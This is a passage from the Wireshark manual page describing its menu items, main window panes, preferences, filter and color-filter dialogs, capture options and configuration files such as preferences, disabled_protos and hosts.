Go › Go To Corresponding Packet

If a field in the packet details pane containing a packet number is selected, go to the packet number specified by that field. (This works only if the dissector that put that entry into the packet details put it into the details as a filterable field rather than just as text.) This can be used, for example, to go to the packet for the request corresponding to a reply, or the reply corresponding to a request, if that packet number has been put into the packet details.

Go › Previous Packet, Go › Next Packet, Go › First Packet, Go › Last Packet

Go to the previous, next, first, or last packet in the capture.

Go › Previous Packet In Conversation, Go › Next Packet In Conversation

Go to the previous or next packet of the TCP, UDP or IP conversation.

Capture › Interfaces

Shows a dialog box with all currently known interfaces and displaying the current network traffic amount. Capture sessions can be started from here. Beware: keeping this box open results in high system load!

Capture › Options

Initiate a live packet capture (see /“Capture Options Dialog” below). If no filename is specified, a temporary file will be created to hold the capture. Temporary files are written in the directory listed in Help › About Wireshark › Folders. This location can be chosen with the command line option –temp-dir, or by setting the environment variable TMPDIR (on UNIX-compatible systems, such as Linux, macOS, \BSD, Solaris, and AIX) or TEMP (on Windows) before starting Wireshark.

Capture › Start

Start a live packet capture with the previously selected options. This won’t open the options dialog box, and can be convenient for repeatedly capturing with the same options.

Capture › Stop

Stop a running live capture.

Capture › Restart

While a live capture is running, stop it and restart with the same options again. This can be convenient to remove irrelevant packets, if no valuable packets were captured so far.

Capture › Capture Filters

Edit the saved list of capture filters, allowing filters to be added, changed, or deleted.

Analyze › Display Filters

Edit the saved list of display filters, allowing filters to be added, changed, or deleted.

Analyze › Display Filter Macros

Create shortcuts for complex macros.

Analyze › Apply as Filter

Create a display filter based on the data currently highlighted in the packet details and apply the filter.

If that data is a field that can be tested in a display filter expression, the display filter will test that field; otherwise, the display filter will be based on the absolute offset within the packet. Therefore it could be unreliable if the packet contains protocols with variable-length headers, such as a source-routed token-ring packet.

The Selected option creates a display filter that tests for a match of the data; the Not Selected option creates a display filter that tests for a non-match of the data. The And Selected, Or Selected, And Not Selected, and Or Not Selected options add to the end of the display filter in the strip at the top (or bottom) an AND or OR operator followed by the new display filter expression.

Analyze › Prepare as Filter

Create a display filter based on the data currently highlighted in the packet details. The filter strip at the top (or bottom) is updated but it is not yet applied.

Analyze › Enabled Protocols

Allow protocol dissection to be enabled or disabled for a specific protocol. Individual protocols can be enabled or disabled by clicking on them in the list or by highlighting them and pressing the space bar. The entire list can be enabled, disabled, or inverted using the buttons below the list.

When a protocol is disabled, dissection in a particular packet stops when that protocol is reached, and Wireshark moves on to the next packet. Any higher-layer protocols that would otherwise have been processed will not be displayed. For example, disabling TCP will prevent the dissection and display of TCP, HTTP, SMTP, Telnet, and any other protocol exclusively dependent on TCP.

The list of protocols can be saved, so that Wireshark will start up with the protocols in that list disabled.

Analyze › Decode As

If you have a packet selected, present a dialog allowing you to change which dissectors are used to decode this packet. The dialog has one panel each for the link layer, network layer and transport layer protocol/port numbers, and will allow each of these to be changed independently. For example, if the selected packet is a TCP packet to port 12345, using this dialog you can instruct Wireshark to decode all packets to or from that TCP port as HTTP packets.

Analyze › User Specified Decodes

Create a new window showing whether any protocol ID to dissector mappings have been changed by the user. This window also allows the user to reset all decodes to their default values.

Analyze › Follow TCP Stream

If you have a TCP packet selected, display the contents of the data stream for the TCP connection to which that packet belongs, as text, in a separate window, and leave the list of packets in a filtered state, with only those packets that are part of that TCP connection being displayed. You can revert to your old view by pressing ENTER in the display filter text box, thereby invoking your old display filter (or resetting it back to no display filter).

The window in which the data stream is displayed lets you select:

·

whether to display the entire conversation, or one or the other side of it;

·

whether the data being displayed is to be treated as ASCII or EBCDIC text or as raw hex data;

and lets you print what’s currently being displayed, using the same print options that are used for the File:Print Packet menu item, or save it as text to a file.

Analyze › Follow UDP Stream, Analyze › Follow TLS Stream

Similar to Analyze:Follow TCP Stream.

Analyze › Expert Info, Analyze › Expert Info Composite

Show anomalies found by Wireshark in a capture file.

Analyze › Conversation Filter, Statistics › Summary

Show summary information about the capture, including elapsed time, packet counts, byte counts, and the like. If a display filter is in effect, summary information will be shown about the capture and about the packets currently being displayed.

Statistics › Protocol Hierarchy

Show the number of packets, and the number of bytes in those packets, for each protocol in the trace. It organizes the protocols in the same hierarchy in which they were found in the trace. Besides counting the packets in which the protocol exists, a count is also made for packets in which the protocol is the last protocol in the stack. These last-protocol counts show you how many packets (and the byte count associated with those packets) ended in a particular protocol. In the table, they are listed under “End Packets” and “End Bytes”.

Statistics › Conversations

Lists of conversations; selectable by protocol. See Statistics:Conversation List below.

Statistics › End Points

List of End Point Addresses by protocol with packets, bytes, and other counts.

Statistics › Packet Lengths

Grouped counts of packet lengths (0-19 bytes, 20-39 bytes, …)

Statistics › I/O Graphs

Open a window where up to 5 graphs in different colors can be displayed to indicate number of packets or number of bytes per second for all packets matching the specified filter. By default only one graph will be displayed showing number of packets per second.

The top part of the window contains the graphs and scales for the X and Y axis. If the graph is too long to fit inside the window there is a horizontal scrollbar below the drawing area that can scroll the graphs to the left or the right. The horizontal axis displays the time into the capture and the vertical axis will display the measured quantity at that time.

Below the drawing area and the scrollbar are the controls. On the bottom left there will be five similar sets of controls to control each individual graph such as “Display:<button>” which button will toggle that individual graph on/off. If <button> is ticked, the graph will be displayed. “Color:<color>” which is just a button to show which color will be used to draw that graph. Finally “Filter:<filter-text>” which can be used to specify a display filter for that particular graph.

If filter-text is empty then all packets will be used to calculate the quantity for that graph. If filter-text is specified only those packets that match that display filter will be considered in the calculation of quantity.

To the right of the 5 graph controls there are four menus to control global aspects of the draw area and graphs. The “Unit:” menu is used to control what to measure; “packets/tick”, “bytes/tick” or “advanced…”

packets/tick will measure the number of packets matching the (if specified) display filter for the graph in each measurement interval.

bytes/tick will measure the total number of bytes in all packets matching the (if specified) display filter for the graph in each measurement interval.

advanced… see below

“Tick interval:” specifies what measurement intervals to use. The default is 1 second and means that the data will be counted over 1 second intervals.

“Pixels per tick:” specifies how many pixels wide each measurement interval will be in the drawing area. The default is 5 pixels per tick.

“Y-scale:” controls the max value for the y-axis. Default value is “auto” which means that Wireshark will try to adjust the maxvalue automatically.

“advanced…” If Unit:advanced… is selected the window will display two more controls for each of the five graphs. One control will be a menu where the type of calculation can be selected from SUM,COUNT,MAX,MIN,AVG and LOAD, and one control, textbox, where the name of a single display filter field can be specified.

The following restrictions apply to type and field combinations:

SUM: available for all types of integers and will calculate the SUM of all occurrences of this field in the measurement interval. Note that some field can occur multiple times in the same packet and then all instances will be summed up. Example: tcp.len which will count the amount of payload data transferred across TCP in each interval.

COUNT: available for all field types. This will COUNT the number of times certain field occurs in each interval. Note that some fields may occur multiple times in each packet and if that is the case then each instance will be counted independently and COUNT will be greater than the number of packets.

MAX: available for all integer and relative time fields. This will calculate the max seen integer/time value seen for the field during the interval. Example: smb.time which will plot the maximum SMB response time.

MIN: available for all integer and relative time fields. This will calculate the min seen integer/time value seen for the field during the interval. Example: smb.time which will plot the minimum SMB response time.

AVG: available for all integer and relative time fields.This will calculate the average seen integer/time value seen for the field during the interval. Example: smb.time which will plot the average SMB response time.

LOAD: available only for relative time fields (response times).

Example of advanced: Display how NFS response time MAX/MIN/AVG changes over time:

Set first graph to:

filter:nfs&&rpc.time Calc:MAX rpc.time

Set second graph to

filter:nfs&&rpc.time Calc:AVG rpc.time

Set third graph to

filter:nfs&&rpc.time Calc:MIN rpc.time

Example of advanced: Display how the average packet size from host a.b.c.d changes over time.

Set first graph to

filter:ip.addr==a.b.c.d&&frame.pkt_len Calc:AVG frame.pkt_len

LOAD: The LOAD io-stat type is very different from anything you have ever seen before! While the response times themselves as plotted by MIN,MAX,AVG are indications on the Server load (which affects the Server response time), the LOAD measurement measures the Client LOAD. What this measures is how much workload the client generates, i.e. how fast will the client issue new commands when the previous ones completed. i.e. the level of concurrency the client can maintain. The higher the number, the more and faster is the client issuing new commands. When the LOAD goes down, it may be due to client load making the client slower in issuing new commands (there may be other reasons as well, maybe the client just doesn’t have any commands it wants to issue right then).

Load is measured in concurrency/number of overlapping i/o and the value 1000 means there is a constant load of one i/o.

In each tick interval the amount of overlap is measured. See the graph below containing three commands: Below the graph are the LOAD values for each interval that would be calculated.

| | | | | | | | | | | | | | | | | | | | o=====* | | | | | | | | | | | | | | | | o========* | o============* | | | | | | | | | | | | ————————————————–> Time 500 1500 500 750 1000 500 0 0

Statistics › Conversation List

This option will open a new window that displays a list of all conversations between two endpoints. The list has one row for each unique conversation and displays total number of packets/bytes seen as well as number of packets/bytes in each direction.

By default the list is sorted according to the number of packets but by clicking on the column header; it is possible to re-sort the list in ascending or descending order by any column.

By first selecting a conversation by clicking on it and then using the right mouse button (on those platforms that have a right mouse button) Wireshark will display a popup menu offering several different filter operations to apply to the capture.

These statistics windows can also be invoked from the Wireshark command line using the -z conv argument.

Statistics › Service Response Time

·

AFP

·

CAMEL

·

DCE-RPC

Open a window to display Service Response Time statistics for an arbitrary DCE-RPC program interface and display Procedure, Number of Calls, Minimum SRT, Maximum SRT and Average SRT for all procedures for that program/version. These windows opened will update in semi-real time to reflect changes when doing live captures or when reading new capture files into Wireshark.

This dialog will also allow an optional filter string to be used. If an optional filter string is used only such DCE-RPC request/response pairs that match that filter will be used to calculate the statistics. If no filter string is specified all request/response pairs will be used.

·

Diameter

·

Fibre Channel

Open a window to display Service Response Time statistics for Fibre Channel and display FC Type, Number of Calls, Minimum SRT, Maximum SRT and Average SRT for all FC types. These windows opened will update in semi-real time to reflect changes when doing live captures or when reading new capture files into Wireshark. The Service Response Time is calculated as the time delta between the First packet of the exchange and the Last packet of the exchange.

This dialog will also allow an optional filter string to be used. If an optional filter string is used only such FC first/last exchange pairs that match that filter will be used to calculate the statistics. If no filter string is specified all request/response pairs will be used.

·

GTP

·

H.225 RAS

Collect requests/response SRT (Service Response Time) data for ITU-T H.225 RAS. Data collected is number of calls for each known ITU-T H.225 RAS Message Type, Minimum SRT, Maximum SRT, Average SRT, Minimum in Packet, and Maximum in Packet. You will also get the number of Open Requests (Unresponded Requests), Discarded Responses (Responses without matching request) and Duplicate Messages. These windows opened will update in semi-real time to reflect changes when doing live captures or when reading new capture files into Wireshark.

You can apply an optional filter string in a dialog box, before starting the calculation. The statistics will only be calculated on those calls matching that filter.

·

LDAP

·

MEGACO

·

MGCP

Collect requests/response SRT (Service Response Time) data for MGCP. Data collected is number of calls for each known MGCP Type, Minimum SRT, Maximum SRT, Average SRT, Minimum in Packet, and Maximum in Packet. These windows opened will update in semi-real time to reflect changes when doing live captures or when reading new capture files into Wireshark.

You can apply an optional filter string in a dialog box, before starting the calculation. The statistics will only be calculated on those calls matching that filter.

·

NCP

·

ONC-RPC

Open a window to display statistics for an arbitrary ONC-RPC program interface and display Procedure, Number of Calls, Minimum SRT, Maximum SRT and Average SRT for all procedures for that program/version. These windows opened will update in semi-real time to reflect changes when doing live captures or when reading new capture files into Wireshark.

This dialog will also allow an optional filter string to be used. If an optional filter string is used only such ONC-RPC request/response pairs that match that filter will be used to calculate the statistics. If no filter string is specified all request/response pairs will be used.

By first selecting a conversation by clicking on it and then using the right mouse button (on those platforms that have a right mouse button) Wireshark will display a popup menu offering several different filter operations to apply to the capture.

·

RADIUS

·

SCSI

·

SMB

Collect call/reply SRT (Service Response Time) data for SMB. Data collected is the number of calls for each SMB command, MinSRT, MaxSRT and AvgSRT.

The data will be presented as separate tables for all normal SMB commands, all Transaction2 commands and all NT Transaction commands. Only those commands that are seen in the capture will have its stats displayed. Only the first command in a xAndX command chain will be used in the calculation. So for common SessionSetupAndX + TreeConnectAndX chains, only the SessionSetupAndX call will be used in the statistics. This is a flaw that might be fixed in the future.

You can apply an optional filter string in a dialog box, before starting the calculation. The stats will only be calculated on those calls matching that filter.

By first selecting a conversation by clicking on it and then using the right mouse button (on those platforms that have a right mouse button) Wireshark will display a popup menu offering several different filter operations to apply to the capture.

·

SMB2

Statistics › BOOTP-DHCP

Show DHCP statistics.

Statistics › Compare

Compare two capture files.

Statistics › Flow Graph

Show protocol flows.

Statistics › HTTP

HTTP Load Distribution, Packet Counter & Requests.

Statistics › IP Addresses

Count, Rate, and Percent by IP Address.

Statistics › IP Destinations

Count, Rate, and Percent by IP Address, protocol, and port.

Statistics › IP Protocol Types

Count, Rate, and Percent by IP Protocol Types.

Statistics › ONC-RPC Programs

This dialog will open a window showing aggregated SRT statistics for all ONC-RPC Programs/versions that exist in the capture file.

Statistics › TCP Stream Graph

Show Round Trip, Throughput, Time-Sequence (Stevens), or Time-Sequence (tcptrace) graphs.

Statistics › UDP Multicast streams

Multicast Streams counts, rates, and other statistics by source and destination address and port pairs.

Statistics › WLAN Traffic

WLAN Traffic Statistics.

Telephony › ITU-T H.225

Count ITU-T H.225 messages and their reasons. In the first column you get a list of H.225 messages and H.225 message reasons, which occur in the current capture file. The number of occurrences of each message or reason will be displayed in the second column. This window opened will update in semi-real time to reflect changes when doing live captures or when reading new capture files into Wireshark.

You can apply an optional filter string in a dialog box, before starting the counter. The statistics will only be calculated on those calls matching that filter.

Telephony › SIP

Activate a counter for SIP messages. You will get the number of occurrences of each SIP Method and of each SIP Status-Code. Additionally you also get the number of resent SIP Messages (only for SIP over UDP).

This window opened will update in semi-real time to reflect changes when doing live captures or when reading new capture files into Wireshark.

You can apply an optional filter string in a dialog box, before starting the counter. The statistics will only be calculated on those calls matching that filter.

Tools › Firewall ACL Rules

Generate firewall rules for a selected packet.

Help › Contents

Display the User’s Guide.

Help › Supported Protocols

List of supported protocols and display filter protocol fields.

Help › Manual Pages

Display locally installed HTML versions of these manual pages in a web browser.

Help › Wireshark Online

Various links to online resources to be open in a web browser, like <https://www.wireshark.org>.

Help › About Wireshark

See various information about Wireshark (see /About dialog below), like the version, the folders used, the available plugins, …

WINDOWS

Main Window

The main window contains the usual things like the menu, some toolbars, the main area and a statusbar. The main area is split into three panes, you can resize each pane using a “thumb” at the right end of each divider line.

The main window is much more flexible than before. The layout of the main window can be customized by the Layout page in the dialog box popped up by Edit:Preferences, the following will describe the layout with the default settings.

Main Toolbar

Some menu items are available for quick access here. There is no way to customize the items in the toolbar, however the toolbar can be hidden by View:Main Toolbar.

Filter Toolbar

A display filter can be entered into the filter toolbar. A filter for HTTP, HTTPS, and DNS traffic might look like this:

tcp.port in {80 443 53}

Selecting the Filter: button lets you choose from a list of named filters that you can optionally save. Pressing the Return or Enter keys, or selecting the Apply button, will cause the filter to be applied to the current list of packets. Selecting the Reset button clears the display filter so that all packets are displayed (again).

There is no way to customize the items in the toolbar, however the toolbar can be hidden by View:Filter Toolbar.

Packet List Pane

The top pane contains the list of network packets that you can scroll through and select. By default, the packet number, packet timestamp, source and destination addresses, protocol, and description are displayed for each packet; the Columns page in the dialog box popped up by Edit:Preferences lets you change this (although, unfortunately, you currently have to save the preferences, and exit and restart Wireshark, for those changes to take effect).

If you click on the heading for a column, the display will be sorted by that column; clicking on the heading again will reverse the sort order for that column.

An effort is made to display information as high up the protocol stack as possible, e.g. IP addresses are displayed for IP packets, but the MAC layer address is displayed for unknown packet types.

The right mouse button can be used to pop up a menu of operations.

The middle mouse button can be used to mark a packet.

Packet Details Pane

The middle pane contains a display of the details of the currently-selected packet. The display shows each field and its value in each protocol header in the stack. The right mouse button can be used to pop up a menu of operations.

Packet Bytes Pane

The lowest pane contains a hex and ASCII dump of the actual packet data. Selecting a field in the packet details highlights the corresponding bytes in this section.

The right mouse button can be used to pop up a menu of operations.

Statusbar

The statusbar is divided into three parts, on the left some context dependent things are shown, like information about the loaded file, in the center the number of packets are displayed, and on the right the current configuration profile.

The statusbar can be hidden by View:Statusbar.

Preferences

Adjust the behavior of Wireshark.

User Interface Preferences

Modify the UI to your own personal tastes.

Selection Bars

The selection bar in the packet list and packet details can have either a “browse” or “select” behavior. If the selection bar has a “browse” behavior, the arrow keys will move an outline of the selection bar, allowing you to browse the rest of the list or details without changing the selection until you press the space bar. If the selection bar has a “select” behavior, the arrow keys will move the selection bar and change the selection to the new item in the packet list or packet details.

Save Window Position

If this item is selected, the position of the main Wireshark window will be saved when Wireshark exits, and used when Wireshark is started again.

Save Window Size

If this item is selected, the size of the main Wireshark window will be saved when Wireshark exits, and used when Wireshark is started again.

Save Window Maximized state

If this item is selected the maximize state of the main Wireshark window will be saved when Wireshark exists, and used when Wireshark is started again.

File Open Dialog Behavior

This item allows the user to select how Wireshark handles the listing of the “File Open” Dialog when opening trace files. “Remember Last Directory” causes Wireshark to automatically position the dialog in the directory of the most recently opened file, even between launches of Wireshark. “Always Open in Directory” allows the user to define a persistent directory that the dialog will always default to.

Directory

Allows the user to specify a persistent File Open directory. Trailing slashes or backslashes will automatically be added.

File Open Preview timeout

This items allows the user to define how much time is spend reading the capture file to present preview data in the File Open dialog.

Open Recent maximum list entries

The File menu supports a recent file list. This items allows the user to specify how many files are kept track of in this list.

Ask for unsaved capture files

When closing a capture file or Wireshark itself if the file isn’t saved yet the user is presented the option to save the file when this item is set.

Wrap during find

This items determines the behavior when reaching the beginning or the end of a capture file. When set the search wraps around and continues, otherwise it stops.

Settings dialogs show a save button

This item determines if the various dialogs sport an explicit Save button or that save is implicit in OK / Apply.

Web browser command

This entry specifies the command line to launch a web browser. It is used to access online content, like the Wiki and user guide. Use %s to place the request URL in the command line.

Layout Preferences

The Layout page lets you specify the general layout of the main window. You can choose from six different layouts and fill the three panes with the contents you like.

Scrollbars

The vertical scrollbars in the three panes can be set to be either on the left or the right.

Alternating row colors, Hex Display

The highlight method in the hex dump display for the selected protocol item can be set to use either inverse video, or bold characters.

Toolbar style, Filter toolbar placement, Custom window title, Column Preferences

The Columns page lets you specify the number, title, and format of each column in the packet list.

The Column title entry is used to specify the title of the column displayed at the top of the packet list. The type of data that the column displays can be specified using the Column format option menu. The row of buttons on the left perform the following actions:

New

Adds a new column to the list.

Delete

Deletes the currently selected list item.

Up / Down

Moves the selected list item up or down one position.

Font Preferences

The Font page lets you select the font to be used for most text.

Color Preferences

The Colors page can be used to change the color of the text displayed in the TCP stream window and for marked packets. To change a color, simply select an attribute from the “Set:” menu and use the color selector to get the desired color. The new text colors are displayed as a sample text.

Capture Preferences

The Capture page lets you specify various parameters for capturing live packet data; these are used the first time a capture is started.

The Interface: combo box lets you specify the interface from which to capture packet data, or the name of a FIFO from which to get the packet data.

The Data link type: option menu lets you, for some interfaces, select the data link header you want to see on the packets you capture. For example, in some OSes and with some versions of libpcap, you can choose, on an 802.11 interface, whether the packets should appear as Ethernet packets (with a fake Ethernet header) or as 802.11 packets.

The Limit each packet to … bytes check box lets you set the snapshot length to use when capturing live data; turn on the check box, and then set the number of bytes to use as the snapshot length.

The Filter: text entry lets you set a capture filter expression to be used when capturing.

If any of the environment variables SSH_CONNECTION, SSH_CLIENT, REMOTEHOST, DISPLAY, or SESSIONNAME are set, Wireshark will create a default capture filter that excludes traffic from the hosts and ports defined in those variables.

The Capture packets in promiscuous mode check box lets you specify whether to put the interface in promiscuous mode when capturing.

The Update list of packets in real time check box lets you specify that the display should be updated as packets are seen.

Name Resolution Preferences

The Enable MAC name resolution, Enable network name resolution and Enable transport name resolution check boxes let you specify whether MAC addresses, network addresses, and transport-layer port numbers should be translated to names.

The Enable concurrent DNS name resolution allows Wireshark to send out multiple name resolution requests and not wait for the result before continuing dissection. This speeds up dissection with network name resolution but initially may miss resolutions. The number of concurrent requests can be set here as well.

SMI paths

SMI modules

RTP Player Preferences

This page allows you to select the number of channels visible in the RTP player window. It determines the height of the window, more channels are possible and visible by means of a scroll bar.

Protocol Preferences

There are also pages for various protocols that Wireshark dissects, controlling the way Wireshark handles those protocols.

Edit Capture Filter List, Edit Display Filter List, Capture Filter, Display Filter, Read Filter, Search Filter

The Edit Capture Filter List dialog lets you create, modify, and delete capture filters, and the Edit Display Filter List dialog lets you create, modify, and delete display filters.

The Capture Filter dialog lets you do all of the editing operations listed, and also lets you choose or construct a filter to be used when capturing packets.

The Display Filter dialog lets you do all of the editing operations listed, and also lets you choose or construct a filter to be used to filter the current capture being viewed.

The Read Filter dialog lets you do all of the editing operations listed, and also lets you choose or construct a filter to be used to as a read filter for a capture file you open.

The Search Filter dialog lets you do all of the editing operations listed, and also lets you choose or construct a filter expression to be used in a find operation.

In all of those dialogs, the Filter name entry specifies a descriptive name for a filter, e.g. Web and DNS traffic. The Filter string entry is the text that actually describes the filtering action to take, as described above.The dialog buttons perform the following actions:

New

If there is text in the two entry boxes, creates a new associated list item.

Edit

Modifies the currently selected list item to match what’s in the entry boxes.

Delete

Deletes the currently selected list item.

Add Expression…

For display filter expressions, pops up a dialog box to allow you to construct a filter expression to test a particular field; it offers lists of field names, and, when appropriate, lists from which to select tests to perform on the field and values with which to compare it. In that dialog box, the OK button will cause the filter expression you constructed to be entered into the Filter string entry at the current cursor position.

OK

In the Capture Filter dialog, closes the dialog box and makes the filter in the Filter string entry the filter in the Capture Preferences dialog. In the Display Filter dialog, closes the dialog box and makes the filter in the Filter string entry the current display filter, and applies it to the current capture. In the Read Filter dialog, closes the dialog box and makes the filter in the Filter string entry the filter in the Open Capture File dialog. In the Search Filter dialog, closes the dialog box and makes the filter in the Filter string entry the filter in the Find Packet dialog.

Apply

Makes the filter in the Filter string entry the current display filter, and applies it to the current capture.

Save

If the list of filters being edited is the list of capture filters, saves the current filter list to the personal capture filters file, and if the list of filters being edited is the list of display filters, saves the current filter list to the personal display filters file.

Close

Closes the dialog without doing anything with the filter in the Filter string entry.

The Color Filters Dialog

This dialog displays a list of color filters and allows it to be modified.

THE FILTER LIST

Single rows may be selected by clicking. Multiple rows may be selected by using the ctrl and shift keys in combination with the mouse button.

NEW

Adds a new filter at the bottom of the list and opens the Edit Color Filter dialog box. You will have to alter the filter expression at least before the filter will be accepted. The format of color filter expressions is identical to that of display filters. The new filter is selected, so it may immediately be moved up and down, deleted or edited. To avoid confusion all filters are unselected before the new filter is created.

EDIT

Opens the Edit Color Filter dialog box for the selected filter. (If this button is disabled you may have more than one filter selected, making it ambiguous which is to be edited.)

ENABLE

Enables the selected color filter(s).

DISABLE

Disables the selected color filter(s).

DELETE

Deletes the selected color filter(s).

EXPORT

Allows you to choose a file in which to save the current list of color filters. You may also choose to save only the selected filters. A button is provided to save the filters in the global color filters file (you must have sufficient permissions to write this file, of course).

IMPORT

Allows you to choose a file containing color filters which are then added to the bottom of the current list. All the added filters are selected, so they may be moved to the correct position in the list as a group. To avoid confusion, all filters are unselected before the new filters are imported. A button is provided to load the filters from the global color filters file.

CLEAR

Deletes your personal color filters file, reloads the global color filters file, if any, and closes the dialog.

UP

Moves the selected filter(s) up the list, making it more likely that they will be used to color packets.

DOWN

Moves the selected filter(s) down the list, making it less likely that they will be used to color packets.

OK

Closes the dialog and uses the color filters as they stand.

APPLY

Colors the packets according to the current list of color filters, but does not close the dialog.

SAVE

Saves the current list of color filters in your personal color filters file. Unless you do this they will not be used the next time you start Wireshark.

CLOSE

Closes the dialog without changing the coloration of the packets. Note that changes you have made to the current list of color filters are not undone.

Capture Options Dialog

The Capture Options Dialog lets you specify various parameters for capturing live packet data.

The Interface: field lets you specify the interface from which to capture packet data or a command from which to get the packet data via a pipe.

The Link layer header type: field lets you specify the interfaces link layer header type. This field is usually disabled, as most interface have only one header type.

The Capture packets in promiscuous mode check box lets you specify whether the interface should be put into promiscuous mode when capturing.

The Limit each packet to … bytes check box and field lets you specify a maximum number of bytes per packet to capture and save; if the check box is not checked, the limit will be 262144 bytes.

The Capture Filter: entry lets you specify the capture filter using a tcpdump-style filter string as described above.

The File: entry lets you specify the file into which captured packets should be saved, as in the Printer Options dialog above. If not specified, the captured packets will be saved in a temporary file; you can save those packets to a file with the File:Save As menu item.

The Use multiple files check box lets you specify that the capture should be done in “multiple files” mode. This option is disabled, if the Update list of packets in real time option is checked.

The Next file every … megabyte(s) check box and fields lets you specify that a switch to a next file should be done if the specified filesize is reached. You can also select the appropriate unit, but beware that the filesize has a maximum of 2 GiB. The check box is forced to be checked, as “multiple files” mode requires a file size to be specified.

The Next file every … minute(s) check box and fields lets you specify that the switch to a next file should be done after the specified time has elapsed, even if the specified capture size is not reached.

The Ring buffer with … files field lets you specify the number of files of a ring buffer. This feature will capture into the first file again, after the specified number of files have been used.

The Stop capture after … files field lets you specify the number of capture files used, until the capture is stopped.

The Stop capture after … packet(s) check box and field let you specify that Wireshark should stop capturing after having captured some number of packets; if the check box is not checked, Wireshark will not stop capturing at some fixed number of captured packets.

The Stop capture after … megabyte(s) check box and field lets you specify that Wireshark should stop capturing after the file to which captured packets are being saved grows as large as or larger than some specified number of megabytes. If the check box is not checked, Wireshark will not stop capturing at some capture file size (although the operating system on which Wireshark is running, or the available disk space, may still limit the maximum size of a capture file). This option is disabled, if “multiple files” mode is used,

The Stop capture after … second(s) check box and field let you specify that Wireshark should stop capturing after it has been capturing for some number of seconds; if the check box is not checked, Wireshark will not stop capturing after some fixed time has elapsed.

The Update list of packets in real time check box lets you specify whether the display should be updated as packets are captured and, if you specify that, the Automatic scrolling in live capture check box lets you specify the packet list pane should automatically scroll to show the most recently captured packets as new packets arrive.

The Enable MAC name resolution, Enable network name resolution and Enable transport name resolution check boxes let you specify whether MAC addresses, network addresses, and transport-layer port numbers should be translated to names.

About

The About dialog lets you view various information about Wireshark.

About › Wireshark

The Wireshark page lets you view general information about Wireshark, like the installed version, licensing information and such.

About › Authors

The Authors page shows the author and all contributors.

About › Folders

The Folders page lets you view the directory names where Wireshark is searching its various configuration and other files.

About › Plugins

The Plugins page lets you view the dissector plugin modules available on your system.

The Plugins List shows the name and version of each dissector plugin module found on your system.

On Unix-compatible systems, such as Linux, macOS, \BSD, Solaris, and AIX, the plugins are looked for in the following directories: the lib/wireshark/plugins/$VERSION directory under the main installation directory (for example, /usr/local/lib/wireshark/plugins/$VERSION), and then $HOME/.wireshark/plugins.

On Windows systems, the plugins are looked for in the following directories: plugins\VERSION directory under the main installation directory (for example, C:\Program Files\Wireshark\plugins\VERSION), and then %APPDATA%\Wireshark\plugins\VERSION (or, if %APPDATA% isn’t defined, %USERPROFILE%\Application Data\Wireshark\plugins\VERSION).

$VERSION is the version number of the plugin interface, which is typically the version number of Wireshark. Note that a dissector plugin module may support more than one protocol; there is not necessarily a one-to-one correspondence between dissector plugin modules and protocols. Protocols supported by a dissector plugin module are enabled and disabled using the Edit:Protocols dialog box, just as protocols built into Wireshark are.

CAPTURE FILTER SYNTAX

See the manual page of pcap-filter(7) or, if that doesn’t exist, tcpdump(8), or, if that doesn’t exist, <https://gitlab.com/wireshark/wireshark/-/wikis/CaptureFilters>.

DISPLAY FILTER SYNTAX

For a complete table of protocol and protocol fields that are filterable in Wireshark see the wireshark-filter(4) manual page.

FILES

These files contains various Wireshark configuration settings.

Preferences

The preferences files contain global (system-wide) and personal preference settings. If the system-wide preference file exists, it is read first, overriding the default settings. If the personal preferences file exists, it is read next, overriding any previous values. Note: If the command line flag -o is used (possibly more than once), it will in turn override values from the preferences files.

The preferences settings are in the form prefname:value, one per line, where prefname is the name of the preference and value is the value to which it should be set; white space is allowed between : and value. A preference setting can be continued on subsequent lines by indenting the continuation lines with white space. A # character starts a comment that runs to the end of the line:

Vertical scrollbars should be on right side?

# TRUE or FALSE (case-insensitive).
gui.scrollbar_on_right: TRUE

The global preferences file is looked for in the wireshark directory under the share subdirectory of the main installation directory. On macOS, this would typically be /Application/Wireshark.app/Contents/Resources/share; on other UNIX-compatible systems, such as Linux, \BSD, Solaris, and AIX, this would typically be /usr/share/wireshark/preferences for system-installed packages and /usr/local/share/wireshark/preferences for locally-installed packages; on Windows, this would typically be C:\Program Files\Wireshark\preferences.

On UNIX-compatible systems, the personal preferences file is looked for in $XDG_CONFIG_HOME/wireshark/preferences, (or, if $XDG_CONFIG_HOME/wireshark does not exist while $HOME/.wireshark does exist, $HOME/.wireshark/preferences); this is typically $HOME/.config/wireshark/preferences. On Windows, the personal preferences file is looked for in %APPDATA%\Wireshark\preferences (or, if %APPDATA% isn’t defined, %USERPROFILE%\Application Data\Wireshark\preferences).

Note: Whenever the preferences are saved by using the Save button in the Edit:Preferences dialog box, your personal preferences file will be overwritten with the new settings, destroying any comments and unknown/obsolete settings that were in the file.

Recent

The recent file contains personal settings (mostly GUI related) such as the current Wireshark window size. The file is saved at program exit and read in at program start automatically. Note: The command line flag -o may be used to override settings from this file.

The settings in this file have the same format as in the preferences files, and the same directory as for the personal preferences file is used.

Note: Whenever Wireshark is closed, your recent file will be overwritten with the new settings, destroying any comments and unknown/obsolete settings that were in the file.

Disabled (Enabled) Protocols

The disabled_protos files contain system-wide and personal lists of protocols that have been disabled, so that their dissectors are never called. The files contain protocol names, one per line, where the protocol name is the same name that would be used in a display filter for the protocol:

http tcp # a comment

If a protocol is listed in the global disabled_protos file, it is not displayed in the Analyze:Enabled Protocols dialog box, and so cannot be enabled by the user.

The global disabled_protos file uses the same directory as the global preferences file.

The personal disabled_protos file uses the same directory as the personal preferences file.

Note: Whenever the disabled protocols list is saved by using the Save button in the Analyze:Enabled Protocols dialog box, your personal disabled protocols file will be overwritten with the new settings, destroying any comments that were in the file.

Name Resolution (hosts)

If the personal hosts file exists, it is used to resolve IPv4 and IPv6 addresses before any other attempts are made to resolve them. The file has the standard hosts file syntax; each line contains one IP address and name, separated by whitespace. The same directory as for the personal preferences file is used.

Capture filter name resolution is handled by libpcap on UNIX-compatible systems, such as Linux, macOS, \BSD, Solaris, and AIX, and Npcap or WinPcap on Windows. As such the Wireshark personal hosts file will not be consulted for capture filter name resolution.

Name Resolution (subnets)

If an IPv4 address cannot be translated via name resolution (no exact match is found) then a partial match is attempted via the subnets file. Both the global subnets file and personal subnets files are used if they exist.

Each line of this file consists of an IPv4 address, a subnet mask length separated only by a / and a name separated by whitespace. While the address must be a full IPv4 address, any values beyond the mask length are subsequently ignored.

An example is:

# Comments must be prepended by the # sign! 192.168.0.0/24 ws_test_network

